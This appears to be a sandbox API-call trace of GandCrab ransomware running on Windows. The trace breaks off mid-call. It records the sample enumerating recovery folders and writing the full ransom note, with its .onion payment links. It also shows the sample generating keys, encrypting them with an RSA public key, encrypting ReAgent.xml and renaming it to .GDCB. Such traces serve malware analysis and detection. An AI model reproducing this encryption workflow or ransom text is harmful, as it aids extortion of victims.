[0052.989] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.989] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.989] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.989] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.989] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.989] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.990] lstrlenW (lpString="C:\\Recovery\\") returned 12 [0052.990] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*" | out: lpString1="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0052.990] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0x588ce0 [0052.990] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.990] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.990] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.990] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.990] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 1 [0052.990] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1 [0052.990] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1 [0052.990] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0052.990] lstrlenW (lpString="C:\\Recovery\\WindowsRE") returned 21 [0052.990] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285f7c8 | out: lpFindFileData=0x285f7c8) returned 0 [0052.990] FindClose (in: hFindFile=0x588ce0 | out: hFindFile=0x588ce0) returned 1 [0052.990] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.991] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Recovery\\\\GDCB-DECRYPT.txt") returned 29 [0052.991] CreateFileW (lpFileName="C:\\Recovery\\\\GDCB-DECRYPT.txt" (normalized: "c:\\recovery\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0052.991] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.991] WriteFile (in: hFile=0x4d8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285fa1c, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285fa1c*=0xad6, lpOverlapped=0x0) returned 1 [0052.991] CloseHandle (hObject=0x4d8) returned 1 [0052.992] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.992] lstrlenW (lpString="C:\\Recovery\\") returned 12 [0052.992] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*" | out: lpString1="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0052.992] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 0x588e60 [0052.992] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.992] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.992] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.992] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.992] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.992] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.992] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.992] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Recovery\\GDCB-DECRYPT.txt") returned="C:\\Recovery\\GDCB-DECRYPT.txt" [0052.992] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.993] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Recovery\\GDCB-DECRYPT.txt") returned 28 [0052.993] lstrlenW (lpString="C:\\Recovery\\GDCB-DECRYPT.txt") returned 28 [0052.993] lstrlenW (lpString="C:\\Recovery\\GDCB-DECRYPT.txt") returned 28 [0052.993] lstrlenW (lpString="C:\\Recovery\\GDCB-DECRYPT.txt") returned 28 [0052.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.993] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.993] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.993] FindNextFileW (in: hFindFile=0x588e60, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.993] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1 [0052.993] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1 [0052.993] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0052.993] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0052.993] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.993] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.994] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.997] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.997] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.997] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.997] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\") returned 22 [0052.997] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*" | out: lpString1="C:\\Recovery\\WindowsRE\\*") returned="C:\\Recovery\\WindowsRE\\*" [0052.997] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.997] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.997] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.997] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.997] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.997] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.997] lstrcmpW (lpString1="boot.sdi", lpString2=".") returned 1 [0052.997] lstrcmpW (lpString1="boot.sdi", lpString2="..") returned 1 [0052.997] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="boot.sdi" | out: lpString1="C:\\Recovery\\WindowsRE\\boot.sdi") returned="C:\\Recovery\\WindowsRE\\boot.sdi" [0052.997] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\boot.sdi") returned 30 [0052.997] lstrcmpW (lpString1=".sdi", lpString2=".sql") returned -1 [0052.997] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.997] lstrcmpW (lpString1="ReAgent.xml", lpString2=".") returned 1 [0052.997] lstrcmpW (lpString1="ReAgent.xml", lpString2="..") returned 1 [0052.997] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="ReAgent.xml" | out: lpString1="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned="C:\\Recovery\\WindowsRE\\ReAgent.xml" [0052.997] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 33 [0052.997] lstrcmpW (lpString1=".xml", lpString2=".sql") returned 1 [0052.997] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.997] lstrcmpW (lpString1="Winre.wim", lpString2=".") returned 1 [0052.997] lstrcmpW (lpString1="Winre.wim", lpString2="..") returned 1 [0052.997] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="Winre.wim" | out: lpString1="C:\\Recovery\\WindowsRE\\Winre.wim") returned="C:\\Recovery\\WindowsRE\\Winre.wim" [0052.998] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\Winre.wim") returned 31 [0052.998] lstrcmpW (lpString1=".wim", lpString2=".sql") returned 1 [0052.998] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.998] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.998] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.998] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Recovery\\WindowsRE\\\\GDCB-DECRYPT.txt") returned 39 [0052.998] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\recovery\\windowsre\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.999] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.999] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0053.000] CloseHandle (hObject=0x4e0) returned 1 [0053.000] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.000] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\") returned 22 [0053.000] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*" | out: lpString1="C:\\Recovery\\WindowsRE\\*") returned="C:\\Recovery\\WindowsRE\\*" [0053.000] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588b20 [0053.000] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.000] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0053.001] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.001] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.001] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0053.001] lstrcmpW (lpString1="boot.sdi", lpString2=".") returned 1 [0053.001] lstrcmpW (lpString1="boot.sdi", lpString2="..") returned 1 [0053.001] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="boot.sdi" | out: lpString1="C:\\Recovery\\WindowsRE\\boot.sdi") returned="C:\\Recovery\\WindowsRE\\boot.sdi" [0053.001] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.001] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Recovery\\WindowsRE\\boot.sdi") returned 30 [0053.001] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\boot.sdi") returned 30 [0053.001] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.001] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0053.001] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.001] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.001] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Recovery\\WindowsRE\\GDCB-DECRYPT.txt") returned="C:\\Recovery\\WindowsRE\\GDCB-DECRYPT.txt" [0053.001] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.002] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Recovery\\WindowsRE\\GDCB-DECRYPT.txt") returned 38 [0053.002] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\GDCB-DECRYPT.txt") returned 38 [0053.002] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\GDCB-DECRYPT.txt") returned 38 [0053.002] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\GDCB-DECRYPT.txt") returned 38 [0053.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.002] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.002] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.002] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0053.002] lstrcmpW (lpString1="ReAgent.xml", lpString2=".") returned 1 [0053.002] lstrcmpW (lpString1="ReAgent.xml", lpString2="..") returned 1 [0053.002] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="ReAgent.xml" | out: lpString1="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned="C:\\Recovery\\WindowsRE\\ReAgent.xml" [0053.002] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.003] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 33 [0053.003] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 33 [0053.003] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 33 [0053.003] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 33 [0053.003] lstrcmpiW (lpString1="ReAgent.xml", lpString2="desktop.ini") returned 1 [0053.003] lstrcmpiW (lpString1="ReAgent.xml", lpString2="autorun.inf") returned 1 [0053.003] lstrcmpiW (lpString1="ReAgent.xml", lpString2="ntuser.dat") returned 1 [0053.003] lstrcmpiW (lpString1="ReAgent.xml", lpString2="iconcache.db") returned 1 [0053.003] lstrcmpiW (lpString1="ReAgent.xml", lpString2="bootsect.bak") returned 1 [0053.003] lstrcmpiW (lpString1="ReAgent.xml", lpString2="boot.ini") returned 1 [0053.003] lstrcmpiW (lpString1="ReAgent.xml", lpString2="ntuser.dat.log") returned 1 [0053.003] lstrcmpiW (lpString1="ReAgent.xml", lpString2="thumbs.db") returned -1 [0053.003] lstrcmpiW (lpString1="ReAgent.xml", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.003] GetFileAttributesW (lpFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml" (normalized: "c:\\recovery\\windowsre\\reagent.xml")) returned 0x2006 [0053.004] SetFileAttributesW (lpFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml", dwFileAttributes=0x2006) returned 1 [0053.004] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.005] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Recovery\\WindowsRE\\ReAgent.xml" | out: lpString1="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned="C:\\Recovery\\WindowsRE\\ReAgent.xml" [0053.005] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\ReAgent.xml", lpString2=".GDCB" | out: lpString1="C:\\Recovery\\WindowsRE\\ReAgent.xml.GDCB") returned="C:\\Recovery\\WindowsRE\\ReAgent.xml.GDCB" [0053.005] CryptAcquireContextW (in: phProv=0x285f5ac, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f5ac*=0x58fc60) returned 1 [0053.005] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.006] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.006] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f6fc | out: pbBuffer=0x285f6fc) returned 1 [0053.006] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.006] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.006] CryptAcquireContextW (in: phProv=0x285f5ac, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f5ac*=0x58fc60) returned 1 [0053.006] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.007] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.007] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.007] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f6c8 | out: pbBuffer=0x285f6c8) returned 1 [0053.007] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.007] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.007] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.008] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.008] CryptAcquireContextW (in: phProv=0x285f59c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f59c*=0x58fc60) returned 1 [0053.011] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f5a0 | out: phKey=0x285f5a0*=0x588a20) returned 1 [0053.011] CryptGetKeyParam (in: hKey=0x588a20, dwParam=0x8, pbData=0x285f58c, pdwDataLen=0x285f594, dwFlags=0x0 | out: pbData=0x285f58c*=0x800, pdwDataLen=0x285f594*=0x4) returned 1 [0053.011] CryptEncrypt (in: hKey=0x588a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f714*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f714*=0x100) returned 1 [0053.011] GetLastError () returned 0x0 [0053.011] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.011] CryptAcquireContextW (in: phProv=0x285f59c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f59c*=0x58fc60) returned 1 [0053.014] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f5a0 | out: phKey=0x285f5a0*=0x588ce0) returned 1 [0053.014] CryptGetKeyParam (in: hKey=0x588ce0, dwParam=0x8, pbData=0x285f58c, pdwDataLen=0x285f594, dwFlags=0x0 | out: pbData=0x285f58c*=0x800, pdwDataLen=0x285f594*=0x4) returned 1 [0053.014] CryptEncrypt (in: hKey=0x588ce0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f718*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f718*=0x100) returned 1 [0053.014] GetLastError () returned 0x0 [0053.014] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.014] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml" (normalized: "c:\\recovery\\windowsre\\reagent.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0053.014] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.015] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.015] ReadFile (in: hFile=0x4e4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f758, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f758*=0x411, lpOverlapped=0x0) returned 1 [0053.025] VirtualAlloc (lpAddress=0x0, dwSize=0x420, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.026] VirtualAlloc (lpAddress=0x0, dwSize=0x420, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.027] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.027] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=-1041, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.027] WriteFile (in: hFile=0x4e4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x285f750, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f750*=0x420, lpOverlapped=0x0) returned 1 [0053.027] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.027] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.031] WriteFile (in: hFile=0x4e4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f750, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f750*=0x100, lpOverlapped=0x0) returned 1 [0053.031] WriteFile (in: hFile=0x4e4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f750, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f750*=0x100, lpOverlapped=0x0) returned 1 [0053.031] WriteFile (in: hFile=0x4e4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f750, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f750*=0x10, lpOverlapped=0x0) returned 1 [0053.031] CloseHandle (hObject=0x4e4) returned 1 [0053.031] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.032] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.032] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.032] MoveFileW (lpExistingFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml" (normalized: "c:\\recovery\\windowsre\\reagent.xml"), lpNewFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml.GDCB" (normalized: "c:\\recovery\\windowsre\\reagent.xml.gdcb")) returned 1 [0053.035] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.035] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.035] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0053.035] lstrcmpW (lpString1="Winre.wim", lpString2=".") returned 1 [0053.035] lstrcmpW (lpString1="Winre.wim", lpString2="..") returned 1 [0053.035] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="Winre.wim" | out: lpString1="C:\\Recovery\\WindowsRE\\Winre.wim") returned="C:\\Recovery\\WindowsRE\\Winre.wim" [0053.035] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.036] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: 